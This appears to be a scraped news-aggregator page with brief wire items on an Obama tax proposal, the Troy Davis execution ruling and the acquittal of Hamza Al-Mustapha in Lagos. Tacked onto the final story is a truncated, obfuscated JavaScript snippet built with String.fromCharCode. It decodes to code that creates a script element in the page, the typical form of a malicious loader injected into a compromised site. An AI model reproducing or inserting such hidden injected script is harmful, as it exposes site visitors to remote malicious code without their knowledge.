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Obama to Seek New Task Rate
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Obama to Seek New Task Rate

WASHINGTON (AP) — President Barack Obama is expected to seek a new base tax rate for the wealthy to ensure that millionaires pay at least at the same percentage as middle income taxpayers. (more…)
Supreme Court Will Not Stop Davis Execution
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Supreme Court Will Not Stop Davis Execution

JACKSON, Ga. — The United States Supreme Court rejected a last-ditch request to step in late Wednesday to stay the Georgia execution of Troy Davis, who was convicted of gunning down a Savannah police officer 22 years ago, after Mr. Davis filed an eleventh-hour plea Wednesday with the high court. (more…)
Breaking News: Appeal Court frees Al-Mustapha
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Breaking News: Appeal Court frees Al-Mustapha

The Court of Appeal sitting in Lagos has discharged and acquitted Major Hamza Al-Mustapha from the murder of Kudirat Abiola, wife of late Chief M.K.O Abiola. The judgment overrules the Lagos High Court's judgment which sentenced him to death by hanging. The presiding judge accused the lower court of being “stroked to secure a conviction by all means.” Al-Mustapha, a former Chief Security Officer (CSO) to the late Head of State, late General Sanni Abacha, was sentenced to death on January 30 for conspiracy and murder of Kudirat Abiola, who was shot in Lagos on June 4, 1996. More details later...var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39...